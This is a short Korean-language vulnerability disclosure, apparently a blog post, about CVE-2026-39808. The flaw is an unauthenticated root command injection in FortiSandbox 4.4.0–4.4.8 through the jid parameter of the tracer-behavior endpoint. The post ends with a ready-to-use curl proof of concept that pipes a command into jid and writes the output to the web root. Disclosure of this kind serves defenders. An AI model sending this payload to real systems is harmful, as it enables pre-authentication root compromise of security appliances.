CVE-2026-39808

2025년 11월, Fortinet의 FortiSandbox에서 인증되지 않은 공격자가 기본 OS에서 루트 권한으로 명령을 실행할 수 있는 심각한 취약점이 발견되었습니다. 이 취약점은 패치되었고 2026년 4월에 마침내 공개되었습니다.

이 취약점은 FortiSandbox 버전 4.4.0부터 4.4.8까지 영향을 줍니다.

전체 보안 권고는 여기에서 읽을 수 있습니다.

취약점

이 취약점은 /fortisandbox/job-detail/tracer-behavior 엔드포인트에 영향을 줍니다. OS 명령은 jid GET 매개변수의 파이프 기호(|)를 사용하여 주입될 수 있습니다.

위 예시에서는 출력이 웹 루트의 파일로 리디렉션되어 나중에 검색할 수 있습니다.

간단한 curl 명령만으로 사전 인증 없이 루트 권한으로 RCE를 달성할 수 있습니다:

curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" --data-urlencode "jid=|(id > /web/ng/out.txt)|"